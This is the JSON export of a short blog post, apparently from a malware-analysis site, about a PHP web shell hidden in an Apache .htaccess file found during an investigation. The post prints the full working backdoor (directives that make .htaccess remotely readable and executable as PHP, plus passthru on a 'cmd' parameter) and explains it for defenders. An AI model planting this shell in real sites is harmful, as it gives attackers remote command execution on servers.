{"id":16,"date":"2023-11-25T22:41:08","date_gmt":"2023-11-25T22:41:08","guid":{"rendered":"https:\/\/ticklemeelmo.com\/malware\/?p=16"},"modified":"2023-11-25T22:57:47","modified_gmt":"2023-11-25T22:57:47","slug":"a-php-shell-in-my-htaccess-its-more-likely-than-you-think","status":"publish","type":"post","link":"https:\/\/syschan.org\/malware\/a-php-shell-in-my-htaccess-its-more-likely-than-you-think\/","title":{"rendered":"A PHP Shell? In MY .htaccess? It\u2019s More Likely Than You think!"},"content":{"rendered":"\n<p>On servers running Apache, .htaccess files can be an extremely useful tool, allowing clients to modify the behavior of of their web environment from a file on their site, rather than requiring modifications to the server\u2019s underlying configurations.<\/p>\n\n\n\n<p>Because .htaccess is so powerful in this way, it is often abused by malicious parties. While I\u2019ll save most of those methods for other posts, I found this particular incident and methodology to be noteworthy.<\/p>\n\n\n\n<p>During an investigation, I located an .htaccess file which contained the following code:<\/p>\n\n\n\n<p><\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"php\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">&lt;Files ~ \"^\\.ht\"> \nOrder allow, deny \nAllow from all \n&lt;\/Files> \nAddType application\/x-httpd-php .htaccess \n&lt;?php passthru($_GET['cmd']); ?><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p>This uses the functionality inherent in the .htaccess file itself to:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Allow the .htaccess file itself to be accessed remotely by the attacker<\/li>\n\n\n\n<li>Allow code contained within the file to execute as PHP<\/li>\n\n\n\n<li>Contains a PHP backdoor which executes system commands passed to it in the GET parameter \u201ccmd\u201d<\/li>\n<\/ol>\n\n\n\n<p>Final Thoughts:<\/p>\n\n\n\n<p>It is always wise to investigate .htaccess files on known-compromised sites for evidence of malicious additions of all types. I will discuss additional .htaccess attack types in later posts.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>On servers running Apache, .htaccess files can be an extremely useful tool, allowing clients to modify the behavior of of their web environment from a file on their site, rather than requiring modifications to the server\u2019s underlying configurations. Because .htaccess is so powerful in this way, it is often abused by malicious parties. While I\u2019ll [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-16","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/syschan.org\/malware\/wp-json\/wp\/v2\/posts\/16","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/syschan.org\/malware\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/syschan.org\/malware\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/syschan.org\/malware\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/syschan.org\/malware\/wp-json\/wp\/v2\/comments?post=16"}],"version-history":[{"count":5,"href":"https:\/\/syschan.org\/malware\/wp-json\/wp\/v2\/posts\/16\/revisions"}],"predecessor-version":[{"id":21,"href":"https:\/\/syschan.org\/malware\/wp-json\/wp\/v2\/posts\/16\/revisions\/21"}],"wp:attachment":[{"href":"https:\/\/syschan.org\/malware\/wp-json\/wp\/v2\/media?parent=16"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/syschan.org\/malware\/wp-json\/wp\/v2\/categories?post=16"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/syschan.org\/malware\/wp-json\/wp\/v2\/tags?post=16"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}